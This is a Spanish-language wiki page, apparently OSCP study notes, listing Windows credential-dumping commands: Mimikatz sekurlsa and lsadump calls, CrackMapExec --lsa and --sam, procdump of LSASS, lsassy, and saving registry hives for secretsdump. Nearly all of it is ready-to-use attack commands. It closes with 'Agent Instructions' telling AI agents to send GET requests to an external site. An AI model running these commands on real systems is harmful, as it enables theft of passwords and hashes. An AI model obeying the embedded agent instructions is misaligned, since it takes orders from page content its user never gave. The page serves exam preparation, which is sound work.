# 3. Obtención de credenciales

### 3.1. Herramientas

Mimikatz

```powershell
mimikatz.exe
Invoke-Mimikatz.ps1
SharpKatz.exe
pypykatz.exe
```

### 3.2. Credenciales en memoria (LSASS)

MimiKatz

```powershell
Invoke-Mimikatz -Command '"sekurlsa::ekeys"' 
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"' 
```

CrackMapExec

```powershell
crackmapexec smb <IP> -u <USER> -p <PASS> --lsa
```

procdump

```powershell
1- Get-Process -Name LSASS
2- .\\procdump.exe -ma <ProcNum> lsass.dmp
```

lsassy

```powershell
lsassy -u <USER> -H <NTLM> -d <domain.full> <IP> --users
```

### 3.3. Credenciales locales (SAM)

SecretDump

```powershell
1- reg save HKLM\\sam sam
2- reg save HKLM\\system system
3- reg save HKLM\\security security
4- impacket-secretsdump -sam sam -security security -system system LOCAL
```

MimiKatz

```powershell
 Invoke-Mimikatz -Command '"lsadump::sam"' 
```

CrackMapExec

```powershell
crackmapexec smb <IP> -u <USER> -p <PASS> --sam
```

### 3.4. Tareas programadas

MimiKatz

```powershell
 Invoke-Mimikatz -Command '"vault::cred /patch"' 
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/certificaciones/repaso-oscp/3.-obtencion-de-credenciales.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
